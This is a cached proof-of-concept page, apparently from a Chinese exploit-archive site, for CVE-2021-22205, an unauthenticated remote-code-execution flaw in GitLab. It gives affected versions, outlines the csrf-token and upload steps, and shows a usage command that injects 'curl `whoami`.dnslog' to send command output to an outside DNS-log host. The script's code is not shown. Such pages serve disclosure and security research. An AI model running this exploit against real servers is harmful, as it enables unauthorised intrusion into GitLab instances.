Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source
Associated Vulnerability
Title:GitLab 代码注入漏洞 (CVE-2021-22205)
Description:GitLab是美国GitLab公司的一个开源的端到端软件开发平台,具有内置的版本控制、问题跟踪、代码审查、CI/CD(持续集成和持续交付)等功能。 Gitlab Community Edition 存在代码注入漏洞,该漏洞源于图像解析器在处理图像文件时输入验证不正确。以下产品及版本受到影响::Gitlab Community Edition: 11.9.0, 11.9.1, 11.9.2, 11.9.3, 11.9.4, 11.9.5, 11.9.6, 11.9.7, 11.9.8, 11.9.9, 11
Description
CVE-2021-22205 Unauthorized RCE
Readme
# CVE-2021-22205

**影响版本:**
* Gitlab CE/EE < 13.10.3
* Gitlab CE/EE < 13.9.6
* Gitlab CE/EE < 13.8.8

**Usage**

```
python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"
```

![Xnip2021-10-28_21-54-04](media/16354286989629/Xnip2021-10-28_21-54-04.png)

**获取csrf-token:**

![Xnip2021-10-28_21-44-31](media/16354286989629/Xnip2021-10-28_21-44-31.png)

通过 /users/sign_in 获取csrf-token 然后使用前面的 CVE-2021-22205 poc 进行构造上传包进行执行未经身份验证的上传请求,最终rce

![](media/16354286989629/16354299891310.jpg)


![Xnip2021-10-28_21-43-13](media/16354286989629/Xnip2021-10-28_21-43-13.png)


**ref:**

* https://hackerone.com/reports/1154542
* https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
* https://forum.ywhack.com/viewthread.php?tid=115611
* https://forum.ywhack.com/viewthread.php?tid=116706
* https://github.com/RedTeamWing/CVE-2021-22205
File Snapshot

[4.0K] /data/pocs/e0b1807a4a251b2a7d1244bad6912615d1f067c2 ├── [2.4K] CVE-2021-22205.py ├── [ 681] echo_vakzz.jpg ├── [4.0K] media │   └── [4.0K] 16354286989629 │   ├── [ 87K] 16354299891310.jpg │   ├── [439K] Xnip2021-10-28_21-43-13.png │   ├── [185K] Xnip2021-10-28_21-44-31.png │   └── [161K] Xnip2021-10-28_21-54-04.png └── [ 935] README.md 2 directories, 7 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.